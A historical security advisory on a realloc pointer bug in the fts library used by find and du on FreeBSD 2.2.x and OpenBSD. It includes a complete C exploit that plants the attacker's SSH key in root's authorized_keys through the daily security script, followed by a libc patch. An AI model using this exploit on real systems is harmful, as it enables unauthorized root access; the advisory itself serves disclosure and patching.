COMMAND
fts, du, find
SYSTEMS AFFECTED
FreeBSD 2.2.x, OpenBSD 3.1 (at least)
PROBLEM
Stas Kisel posted following. Even FreeBSD-2.2.8 and FreeBSD-2.2.7
are no longer supported, there are many people still using 2.2 and
this bug probably applies to FreeBSD-3.1 and ever to OpenBSD
and other. Approximately a month ago he found a very strange
behaviour of 'du' with long direstory structures. There is a one
bug in libc causing this behaviour. Both 'find' and 'du' use
'fts' (fts_read,...) functions to traverse directory structure.
fts uses realloc() to reallocate memory in quite complex lists.
There is a bug in adjusting pointers after realloc(). So when
dealing with large directory structures (when realloc() needed),
some pointers can point to free()-ed memory.
There's no exploit, but it is beleived to be possible to exploit
this bug using carefully designed directory tree to execute
arbitrary commands as root during /etc/daily->/etc/security->find.
REMOTE ROOT EXPLOIT (POSSIBLE). At least it is possible to hide
setuid binary this way in home dir or in /tmp. This was tested
additionally on 3.1-STABLE.
Przemyslaw Frasunek posted following. There's a bug in fts_print
function allows to overwrite any file in system, when running
/etc/security script (executed from 'daily' scripts). Exploit
follows:
/*
(c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
affected systems:
- freebsd (all versions)
- probably openbsd/netbsd
*/
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>
#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE "/root/.ssh/authorized_keys"
#define CORE "find.core"
#define DEPTH 300
#define BUFSIZE 250
int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
if (symlink(linkfrom, linkto) < 0)
return -1;
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);
for(i=0;i<DEPTH;i++)
{
if (makedir(STRING, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
if(makedir(buf, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
}
return 0;
}
SOLUTION
The following patch is designed for FreeBSD-2.2.8-RELEASE libc.
There was the following ID in the beginning of the source file.
/* $OpenBSD: fts.c,v 1.9 1997/08/02 00:13:49 millert Exp $ */
It was only tested on one machine during one day, so it is
probably buggy.
--- /usr/src/lib/libc/gen/fts.c.orig Tue May 11 13:37:49 1999
+++ /usr/src/lib/libc/gen/fts.c Fri May 14 14:02:58 1999
@@ -740,8 +740,26 @@
* If had to realloc the path, adjust the addresses for the rest
* of the tree.
*/
- if (adjaddr)
+ if (adjaddr){
fts_padjust(sp, adjaddr);
+ /* Adjust the list, because we want to return it robust. */
+/* fix p->fts_path and p->fts_accpath
+ p->fts_accpath can be:
+ either cur->fts_path (adjust, because cur is already adjusted)
+ either p->fts_path (adjust)
+ either p->fts_name (do not adjust)
+ I'm also almost sure that in first case cur->fts_path=p->fts_path...
+*/
+#define ADJUST1(p) if((p)->fts_path != adjaddr){ \
+ if((p)->fts_accpath != (p)->fts_name){ \
+ (p)->fts_accpath = \
+ (char *)adjaddr + ((p)->fts_accpath - (p)->fts_path);\
+ } \
+ (p)->fts_path = adjaddr; \
+}
+ for (p = head; p; p = p->fts_link)
+ ADJUST1(p);
+ }
/*
* If not changing directories, reset the path back to original
@@ -974,18 +992,20 @@
{
FTSENT *p;
-#define ADJUST(p) { \
- (p)->fts_accpath = \
- (char *)addr + ((p)->fts_accpath - (p)->fts_path); \
+#define ADJUST2(p) { \
+ if((p)->fts_accpath != (p)->fts_name){ \
+ (p)->fts_accpath = \
+ (char *)addr + ((p)->fts_accpath - (p)->fts_path); \
+ } \
(p)->fts_path = addr; \
}
/* Adjust the current set of children. */
for (p = sp->fts_child; p; p = p->fts_link)
- ADJUST(p);
+ ADJUST2(p);
/* Adjust the rest of the tree. */
for (p = sp->fts_cur; p->fts_level >= FTS_ROOTLEVEL;) {
- ADJUST(p);
+ ADJUST2(p);
p = p->fts_link ? p->fts_link : p->fts_parent;
}
}